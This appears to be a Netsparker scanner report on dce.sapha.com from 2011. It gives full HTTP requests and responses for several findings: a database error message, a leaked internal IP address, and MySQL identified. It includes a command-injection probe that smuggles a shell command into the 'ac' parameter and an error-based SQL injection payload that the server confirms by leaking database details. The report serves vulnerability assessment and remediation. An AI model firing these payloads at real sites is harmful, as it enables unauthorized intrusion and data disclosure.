Date: Fri, 22 Apr 2011 21:40:55 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Cache-Control: private
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: sapha_tst_2546=TRUE; expires=Mon, 19-Apr-2021 21:40:55 GMT; path=/; domain=.sapha.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 2340
Connection: close
Content-Type: application/x-javascript


var SCS_tid=(SCS_tid)?escape(SCS_tid):"",NS_do=new Array('thinksubscription.com'),NS_fe=new Array('exe','pdf','zip','wav','mp3','mov','mpg','avi','wmv','doc','xls','wpd','ppt','swf','mpeg','gif','jpg','tar','gz'),SCS_tamt=(SCS_tamt)?escape(SCS_tamt):"",NS_cid=(NS_cid)?escape(NS_cid):"",NS_tz="",NS_ext=0,NS_ev=0,NS_la="",NS_js="Undetermined",NS_pn=(NS_pn)?escape(NS_pn):"",NS_vpn=(NS_vpn)?escape(NS_vpn):"",NS_uuid=(NS_uuid)?escape(NS_uuid):"",NS_pt=(document.title)?escape(document.title):"",NS_ac="2546",NS_c=(NS_c)?NS_c:"yes",NS_rn=Math.round(Math.random()*(99999-1))+1,NS_ru=document.referrer,NS_vp=(typeof (document.location)!="undefined")?document.location:"",NS_dobj=new Date(),NS_sw=(screen.width)?screen.width:"",NS_sh=(screen.height)?screen.height:"",NS_sc=(screen.colorDepth)?screen.colorDepth:screen.pixelDepth,NS_prot="http://",NS_le="",NS_ld=NS_prot+"dce.sapha.com/logging.php?ac=2546&NS_sw="+NS_sw+"&NS_sh="+NS_sh+"&NS_sc="+NS_sc,NS_bn=((navigator.appName.indexOf("Microsoft",0))?navigator.appName:"Explorer"),explorer=(NS_bn=="Explorer"),tbul="",NS_lt="",NS_evt="",NS_lnk="";if(self!=top){NS_sessionCookieRef=getCookieValue("NSsessCookRef");if(NS_ru!=NS_sessionCookieRef){writeSessionCookie("NSsessCookRef",NS_ru)}else{NS_ru=""}}function writeSessionCookie(B,A){if(testSessionCookie()){document.cookie=escape(B)+"="+escape(A)+"; path=/";return true}else{return false}}function getCookieValue(B){var A=new RegExp(escape(B)+"=([^;]+)");if(A.test(document.cookie+";")){A.exec(document.cookie+";");return unescape(RegExp.$1)}else{return false}}function testSessionCookie(){document.cookie="testSessionCookie=Enabled";if(getCookieValue("testSessionCookie")=="Enabled"){return true}else{return false}}NS_lo=new Object();if(NS_vp=="[object]"){NS_vp=""}if(!NS_vp){NS_vp=(typeof (document.URL)!="undefined")?document.URL:""}if(NS_dobj.getTimezoneOffset){NS_tz=NS_dobj.getTimezoneOffset()}if(navigator.systemLanguage){NS_la=navigator.systemLanguage}if(NS_ru){NS_ru.toLowerCase();if(NS_ru.indexOf("unknown")!=-1){NS_ru=""}NS_ru=escape(NS_ru)}jsv("1");jsv("1.1");jsv("1.2");jsv("1.3");jsv("1.4");jsv("1.5");jsv("1.6");jsv("2.0");var imgsrc=NS_ld+"&NS_c="+NS_c+"&NS_pn="+NS_pn+"&NS_vpn="+NS_vpn+"&NS_uuid="+NS_uuid+"&NS_pt="+NS_pt+"&NS_ru="+NS_ru+"&NS_rn="+NS_rn+"&NS_js="+NS_js+"&NS_vp="+escape(NS_vp)+"&NS_tz="+NS_tz+"&NS_la="+NS_la+"&NS_tid="+SCS_tid+"&NS_tamt="+SCS_tamt+"&NS_cid="+NS_cid;document.write('<img src="'+imgsrc+'" border="0" width="0" height="0" style="display:none">');NS_tid="";NS_tamt="";function iD(C,A){var D=0;C+="";C.toLowerCase();for(var B=0;B<A.length;B++){if(C.toLowerCase().search(A[B].toLowerCase())==-1){D++}}if(A.length==D){return 1}else{return 0}}function NS_LogEvent(A){var B=escape(A);var C=imgsrc.replace(/NS_vpn=.*?&/,"NS_vpn="+B+"&");img(C)}function tsc(B,A,D,C){this.tsc_ct=B;this.tsc_st=A;this.tsc_et=D;this.tsc_dt=C;this.tsc_gct=tsc_gct;this.tsc_gst=tsc_gst;this.tsc_get=tsc_get}function tsc_gct(){var A;A=new Date();return A.getTime()}function tsc_gst(){this.tsc_st=tsc_gct()}function tsc_get(){this.tsc_et=tsc_gct();this.tsc_dt=(this.tsc_et-this.tsc_st)/1000;return this.tsc_dt}var tsc_to=new tsc(0,0,0,0);tsc_to.tsc_gst();function img(A){di=new Image();di.src=A}function jsv(A){document.write('<script language="JavaScript'+A+'">NS_js="'+A+'"<\/script>')}NS_lo.f=new Array(document.links.length);if(window.addEventListener){window.addEventListener("load",NS_lc,false)}else{if(window.attachEvent){window.attachEvent("onload",NS_lc)}}function NS_lc(){for(var b=0;b<document.links.length;b++){var d=document.links[b];if(!d.onclick){eval("document.links[b].onclick=function(){return loge(document.links["+b+"])}")}else{if(!d.onmouseup){eval("document.links[b].onmouseup=function(){return loge(document.links["+b+"])}")}else{if(!d.onmousedown){eval("document.links[b].onmousedown=function(){return loge(document.links["+b+"])}")}}}}}function loge(A){NS_le=NS_ld+"&act=evt_click&link="+escape(A)+"&sec="+tsc_to.tsc_get();NS_ev=1;NS_ext=iD(A,NS_do);if(iD(A,NS_fe)==0){img(NS_le+"&linktype=file");if(!explorer){while(i<500000){i++}}}if(NS_ext){img(NS_le+"&linktype=exit");NS_ext=0;NS_le="";if(!explorer){while(i<500000){i++}}}setTimeout(function(){NS_le=""},2000)}if(explorer){tbul=window.onbeforeunload?window.onbeforeunload:0;window.onbeforeunload=function(){durr();if(tbul){tbul()}}}else{tbul=window.onunload?window.onunload:0;window.onunload=function(){durr();if(tbul){tbul()}}}function durr(){if(NS_ext){if(NS_le){NS_le=NS_le+"&linktype=exit"}if(!NS_le){NS_le=NS_ld+"&act=evt_pvdurr&sec="+tsc_to.tsc_get()}img(NS_le+"&sec="+tsc_to.tsc_get())}};eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('o l(7){B{1=3.4(\'<b a="i/f" t="w" h="\'+7+\'" />\')}E(e){1=3.4("b");1.6("a","i/f");1.6("t","w");1.6("h",7)}3.D.u(1)}o 8(){5 g=(2.p)?2.p:"",c=(2.k)?2.k:"",d=(2.j)?2.j:2.A;5 m=\'q://y.z.v/C.L?O=N&Q=0&g=\'+g+\'&c=\'+c+\'&d=\'+d;l(m)}x(9.n){9.n(\'S\',8,R)}F{9.P(\'M\',8)}x(3.H){5 s=\'q://y.z.v/r/G-I.r\';1=3.4(\'<b a="i/f" h="\'+s+\'"/>\');3.J(\'K\')[0].u(1)}',55,55,'|element|screen|document|createElement|var|setAttribute|mysrc|renderSaphaJS|window|type|script|NS_sh|NS_sc||javascript|NS_sw|src|text|colorDepth|height|addSaphaJS|appath|addEventListener|function|width|http|js|excanvaspath|language|appendChild|com|JavaScript|if|apps|sapha|pixelDepth|try|appshandler|body|catch|else|excanvas|all|compressed|getElementsByTagName|HEAD|php|onload|2546|ac|attachEvent|pid|false|load'.split('|')))
Database Error Message

Database Error Message

1 TOTAL
LOW
Netsparker identified a database error message.

Impact

The error message may disclose sensitive information and this information can be used by an attacker to mount new attacks or to enlarge the attack surface. In rare conditions this may be a clue for an SQL Injection vulnerability. Most of the time Netsparker will detect and report that problem separately.

Remedy

Do not provide any error messages on production environments. Save error messages with a reference number to a backend storage such as a text file or database, then show this number and a static user-friendly error message to the user.
- /engine.php

/engine.php

http://dce.sapha.com/engine.php?ac=%27%26%20ping%20-n%2026%20127.0.0.1%20%26

Parameters

Parameter Type Value
ac GET '& ping -n 26 127.0.0.1 &

Request

GET /engine.php?ac=%27%26%20ping%20-n%2026%20127.0.0.1%20%26 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: dce.sapha.com
Cookie: sapha_tst_2546=TRUE
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 21:41:00 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 312
Connection: close
Content-Type: text/html; charset=UTF-8


</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: select SQL_CACHE * from site_options where site_ID = ''& ping -n 26 127.0.0.1 &'<br><b>MySQL Error</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '26 127.0.0.1 &'' at line 1)<br>Session halted.
[Possible] Internal IP Address Leakage

[Possible] Internal IP Address Leakage

1 TOTAL
LOW
Netsparker discovered an internal IP address in the page. It was not determined if the IP address was that of the system itself or that of an internal network.

Impact

This kind of information can be useful for an attacker when combined with other vulnerabilities.

Remedy

First ensure that this is not a false positive. Due to the nature of the issue. Netsparker could not confirm that this IP address was actually the real internal IP address of the target web server or internal network. If it is then consider removing it.
- /engine.php

/engine.php

http://dce.sapha.com/engine.php?ac=%27%26%20ping%20-n%2026%20127.0.0.1%20%26

Parameters

Parameter Type Value
ac GET '& ping -n 26 127.0.0.1 &

Extracted IP Address(es)

192.168.50.20

Request

GET /engine.php?ac=%27%26%20ping%20-n%2026%20127.0.0.1%20%26 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: dce.sapha.com
Cookie: sapha_tst_2546=TRUE
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 21:41:00 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 312
Connection: close
Content-Type: text/html; charset=UTF-8


</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: select SQL_CACHE * from site_options where site_ID = ''& ping -n 26 127.0.0.1 &'<br><b>MySQL Error</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '26 127.0.0.1 &'' at line 1)<br>Session halted.
MySQL Database Identified

MySQL Database Identified

1 TOTAL
INFORMATION
CONFIRMED
1
Netsparker identified that the target web site is using a MySQL Server. This is generally not a security issue and is reported here for information purposes.

Impact

This issue is reported as additional information only, there is no direct impact arising from this issue.
- /engine.php

/engine.php CONFIRMED

http://dce.sapha.com/engine.php?ac='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(C..

Request

GET /engine.php?ac='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B' HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: dce.sapha.com
Cookie: sapha_tst_2546=TRUE; sapha_tst_2546NS_NO=TRUE
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 21:41:01 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 360
Connection: close
Content-Type: text/html; charset=UTF-8


</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: select SQL_CACHE * from site_options where site_ID = ''+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+''<br><b>MySQL Error</b>: 1062 (Duplicate entry '_!@4dilemma:0' for key 1)<br>Session halted.